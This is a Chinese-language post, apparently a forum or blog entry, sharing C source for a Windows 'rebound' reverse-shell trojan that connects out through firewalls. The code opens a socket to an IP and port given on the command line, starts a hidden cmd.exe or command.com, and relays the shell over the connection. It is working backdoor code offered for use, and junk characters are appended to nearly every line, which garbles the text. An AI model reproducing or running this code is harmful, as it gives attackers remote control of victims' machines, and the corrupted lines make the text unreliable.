这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 NO0[`jy(
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/* ============================== AW{/k'%xw
Rebound port in Windows NT {
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By wind,2006/7 g,z&{pZch
===============================*/ z9uEOX&2\
#include hg86#jq%
#include q) zu}m
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#pragma comment(lib,"wsock32.lib") f|[5&,2<
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void OutputShell(); 7W>}7
SOCKET sClient; A)s"h=R
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; $[^ KCNB
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void main(int argc,char **argv) 6|(7G64{
{ j:vD9sdQ
WSADATA stWsaData; !513rNO
int nRet; XQ|j5]
SOCKADDR_IN stSaiClient,stSaiServer; :,J86#S)
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if(argc != 3) 5]2!Bb6>
{ Liz6ob
printf("Useage:\n\rRebound DestIP DestPort\n"); XTn{1[.O
return; }@Ll!,
} 4HYH\ey
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WSAStartup(MAKEWORD(2,2),&stWsaData); brhJ&|QDE
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); G){1`gAhNJ
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stSaiClient.sin_family = AF_INET; *b 7
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stSaiClient.sin_port = htons(0); fb S.
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); rj`.hXO
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) K+aJ`V
{ ? _h#>
printf("Bind Socket Failed!\n"); -iZ js
return; y O9pEO|W
} -<VF6k<
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stSaiServer.sin_family = AF_INET; P^{`d_[K%
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); -:1Gr8
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); mm9S#Ya
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) }X.8.S'
{ Y&!McM!Jw
printf("Connect Error!"); 'kONb
return; FK,r<+h
} \=:g$_l
OutputShell(); 98%a)s)(a
} ^O\1v
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void OutputShell() w})&[d
{ b*%WAVt2T
char szBuff[1024]; C@:N5},]
SECURITY_ATTRIBUTES stSecurityAttributes; V:$1o
OSVERSIONINFO stOsversionInfo; (h(ZL9!
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; K
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STARTUPINFO stStartupInfo; mjJlXA
char *szShell; T)?@E/VaS
PROCESS_INFORMATION stProcessInformation; O8}s*} ]
unsigned long lBytesRead; }&^bR)=
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); gM/_:+bT>P
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 5;%xqdD
stSecurityAttributes.lpSecurityDescriptor = 0; (6_/n&mF
stSecurityAttributes.bInheritHandle = TRUE; P_}_D{G
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); _3?xIT
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Czl 8Q oH
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); $7ME a"a
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; NomK(%8m$
stStartupInfo.wShowWindow = SW_HIDE; H "/e%
stStartupInfo.hStdInput = hReadPipe; W;j)ux7jMY
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; U%6lYna{M#
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GetVersionEx(&stOsversionInfo); Wa<NId
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switch(stOsversionInfo.dwPlatformId) 7VD7di=D
{ k$mX81
case 1: mTu9'/$(
szShell = "command.com"; LA(JA
break; Jrrk$0H^~
default: Kd21:|!t^
szShell = "cmd.exe"; A.*nDl`H
break; yD'h5)yu
} ;5S7_p2]j
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ;:YjgZ:+Q]
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send(sClient,szMsg,77,0); %bETr"Xom
while(1) MZ[g|o!)v
{ ;(Va_
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ziip*<a!_
if(lBytesRead) 8i~'~/x
{ Z%d4V<fn
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); (3S/"ZE
send(sClient,szBuff,lBytesRead,0); ^Rh ~+
} '4S@:.D`
else 0([jD25J!
{ T"lqPbK
lBytesRead=recv(sClient,szBuff,1024,0); &cejy>K
if(lBytesRead<=0) break; ~DS9{Y
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); $G.|5sEk
} atnbM:t
} `qEm5+`
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return; R9HS%O6b6
}